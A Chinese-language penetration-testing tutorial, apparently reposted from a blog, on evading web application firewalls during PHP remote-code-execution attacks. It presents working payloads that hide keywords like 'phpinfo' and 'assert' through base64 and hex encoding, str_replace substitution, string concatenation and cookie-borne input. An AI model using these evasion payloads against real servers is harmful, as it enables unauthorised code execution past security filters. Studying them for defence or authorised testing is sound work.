RCE攻击绕过WAF详解

这篇具有很好参考价值的文章主要介绍了RCE攻击绕过WAF详解。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

今天继续给大家介绍渗透测试相关知识,本文主要内容是RCE攻击绕过WAF详解。

免责声明:
本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负!
再次强调:严禁对未授权设备进行渗透测试!

一、WAF拦截RCE攻击

针对RCE类型的攻击,有时WAF会进行拦截,如下所示:
RCE攻击绕过WAF详解
上图是安全狗对网页木马的拦截页面。对于不同的WAF而言,对RCE攻击拦截的原理是不同的,有的是检测用户输入的内容,有的是检测用户访问页面的内容。对于RCE漏洞而言,我们无法控制页面本身的内容,通常管理员会进行合理的设置,避免WAF对页面本身内容的拦截,因此WAF对RCE攻击的拦截通常是在用户输入上。例如,用户输入了phpinfo()、system等关键字符串。

二、利用编码和解码方式绕过WAF

针对RCE的WAF拦截问题,我们首先想到的解决方式就是通过编码的方式来进行绕过。
我们尝试将phpinfo()这样的敏感信息,通过Base64加密后,作为base64_decode()函数的输入。例如,构造payload如下所示:

base64_decode('cGhwaW5mbygpOw==')

payload中的“cGhwaW5mbygp”是phpinfo()的Base64加密后的值。
然而,这样的方式,却并不能达到我们预定的效果。
原因在于,上述payload与eval函数拼接成如下的代码:

eval("base64_decode('cGhwaW5mbygpOw==')")

eval函数可以将输入当作命令来执行,但是我们的输入是一个base64_decode()函数,因此eval函数会执行base64_decode()函数,该函数执行的结果是phpinfo(),但是该函数执行后的结果并没有执行。相当于上述代码得到的是“phpinfo()”的字符串,并不是执行了phpinfo()函数的效果。
因此,这种以编码和解码的方式绕过WAF是不可行的。
但是,我们可以采用以下的方式,即在base64_decode()函数的外面,加上一个assert()函数,payload如下所示:

assert(base64_decode('cGhwaW5mbygpOw=='))

这样的话,assert()函数与最外层的eval()函数组合后就会形成如下代码片段:

eval(assert(base64_decode('cGhwaW5mbygpOw==')))

这样,该函数就可以成功执行了。
当然,我们也可以使用分号,将上述payload拆分成等效的payload,如下所示:

$exp=base64_decode('cGhwaW5mbygp');assert($exp);

该payload执行后结果如下所示:
RCE攻击绕过WAF详解
除了Base64编码以外,我们还可以使用16进制编码。解码函数为pack()函数,构造的payload如下所示:

x=assert(pack(%27H*%27,%27706870696e666f28293b%27));

由分号构成的等效payload如下所示:

x=$exp='706870696e666f28293b';assert(pack('H*',$exp));

上述payload执行后结果如下所示:
RCE攻击绕过WAF详解

三、利用替换和拼接绕过WAF

除了上述方式绕过以外,我们还可以通过替换和拼接方式来绕过WAF。替换的方式就是在phpinfo这个易被检测到的关键字中间添加其他的字符,再使用str_replace()函数将添加的字符替换为空,这样的方式构造的payload如下所示:

x=$exp=str_replace('abc','','phpabcinfo();');assert($exp);

上述payload执行结果如下所示:
RCE攻击绕过WAF详解
除了使用替换的方式以外,我们还可以用拼接的方式,将原来的敏感字符替换成两部分,然后再把这两部分拼接起来,就可以达到效果了,根据这种方式构造的payload如下所示:

x=$exp1='php';$exp2='info()';$exp3=$exp1.$exp2;assert($exp3);

上述payload执行结果如下所示:
RCE攻击绕过WAF详解
以上的payload,大多都含有assert关键字。当我们使用上述payload的时候,尽管可以绕开对phpinfo();等关键字的限制,但是却使用了另一种assert关键字。如果要避免使用assert()关键字,那么我们可以将assert关键字也通过上述方式,来进行拼接或者替换,然后执行。通过这种方式构造的payload如下所示:

x=$exp1='ass';$exp2='ert';$exp3='php';$exp4='info();';$exp5=$exp1.$exp2;$exp5($exp3.$exp4);

上述payload执行结果如下所示:
RCE攻击绕过WAF详解

四、另类上传方式绕过WAF

除了上述方法外,我们还可以采用其他的方式来绕过WAF。比如,我们采用其他的上述方式来绕过WAF。WAF对用户输入的检测是存在一定限制的,这个限制来源于WAF的资源,如果WAF占用太多的资源,就会影响业务系统正常运行,因此WAF再很多时候都会放松对cookie等方式的检验。因此,我们就可以利用这个原理,构造payload,让代码接收cookie方式的变量,然后把敏感字符以cookie的方式上传。这样构造的payload如下所示:

x=$exp=$_COOKIE['exp2'];assert($exp);
exp2=phpinfo();

上述payload执行结果如下所示:
RCE攻击绕过WAF详解

五、写在最后

上述讲了很多的payload及其原理,这些payload的构造思想,可以联合起来使用,或许会起到更好的效果!
原创不易,转载请说明出处:https://blog.csdn.net/weixin_40228200文章来源地址https://www.toymoban.com/news/detail-427119.html

到了这里,关于RCE攻击绕过WAF详解的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 24 WEB漏洞-文件上传之WAF绕过及安全修复_阿里云盾waf绕过怎么修复

    目录 WAF绕过 上传参数名解析:明确哪些东西能修改? 常见绕过方法: `符号变异-防匹配(’ \\\" ;)` 数据截断-防匹配(%00 ; 换行) 重复数据-防匹配(参数多次) 搜索引擎搜索fuzz web字典 文件上传安全修复方案 WAF绕过 safedog BT(宝塔) XXX云盾 宝塔过滤的比安全狗厉害一些,在真实情况下现

    2024年02月20日
    浏览(48)
  • waf绕过

    硬件Waf: 绿盟、安恒、启明、知道创宇等         需要选择模式         透明模式         反向代理分为反向代理(代理模式)与反向代理(牵引模式)         反向代理又分为两种模式,反向代理(代理模式)与反向代理(牵引模式)         旁路监控 软件Waf: 安

    2024年02月08日
    浏览(38)
  • 今天给大家带来Python炫酷爱心代码

    前言: 这个是小编之前朋友一直要小编去做的,不过之前技术不够所以一直拖欠今天也完成之前的约定吧! 至于他是谁,我就不多说了直接上代码 如果有需要的话,可以联系小编噢!

    2024年02月05日
    浏览(49)
  • 03-WAF绕过-漏洞利用之注入上传跨站等绕过

    1.绕过cc流量 通过sqlmap对网站进行测试的时候,如果对方有cc流量防护,需要给sqlmap设置一个代理进行注入。 防cc拦截:修改user-agent头+代理(付费代理池) 修改user-agent头: ​ (1)加参数:–random-agent 使用随机user-agent进行测试。sqlmap有一个文件中储存了各种各样的user-age

    2024年02月02日
    浏览(43)
  • 网络安全各类WAF绕过技巧

    即传入一段长数据使waf失效,从而实现绕过waf。某些waf处理POST的数据时,只会检测开头的8K,后面选择全部放过。 例如,当发现某网站存在一个反序列化漏洞时,但是无回显,被waf拦截了 利用脏数据插入5000个x字符,可以成功绕过。 对请求进行并发,攻击请求会被负载均衡

    2024年02月09日
    浏览(43)
  • WAF绕过漏洞利用——漏洞利用之注入上传跨站等绕过

    目录 前言: (一)SQL注入 0x01  sqlmap注入 修改user-agent头: (二)文件上传

    2024年02月12日
    浏览(42)
  • 渗透测试-sqlmap绕过WAF脚本编写

    Sqlmap一款功能强大集成了多种数据库识别及注入方式,多用于识别和利用Web 应用程序注入漏洞的工具,它的优点在于集成了大量 payload,对检测与利用的自动化处理(数据库指纹、访问底层文件系统、执行命令)。 我们之前学习时间盲注的时候,可以针对时间盲注类型的漏洞

    2024年02月09日
    浏览(51)
  • 深入waf绕过 (云盾,宝塔,安全狗)(19)

    简要其他的绕过方法 第一种方式  ip白名单 在waf里面有设置,白名单就是允许通过的,白名单这些东西就不会进行拦截,如果有这个白名单,你还知道对方白名单的ip地址,根据他的IP地址,去伪造自己是白名单的IP地址,waf就不会拦截, 有前提条件第一个知道对方的白名单

    2024年02月13日
    浏览(41)
  • 数据库语法整理及WAF绕过方式

    关系型数据库:指采用了关系模型来组织数据的数据库。 直白的说就是:关系型数据库最典型的数据结构是表,由二维表及其之间的联系所组成的一个数据组织 当今主流的关系型数据库有:Oracle,Microsoft SQL Server,MySQL,PostgreSQL,DB2, Microsoft Access, SQLite,MariaDB Oracle Oracl

    2024年02月21日
    浏览(35)
  • xss跨站之waf绕过及安全修复(28)

    手工探针xss绕过waf规则 打开靶场  写入跨站测试语句发现拦截  这里就做一个最经典的方法,做一个拆分来确立拦截的是什么东西。 去掉最后字符串,访问还是拦截,再去掉alert(1),访问还是拦截,再去掉尖括号里面一个字符。留下scrtp在访问一下,还是拦截了,拿

    2024年02月13日
    浏览(47)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包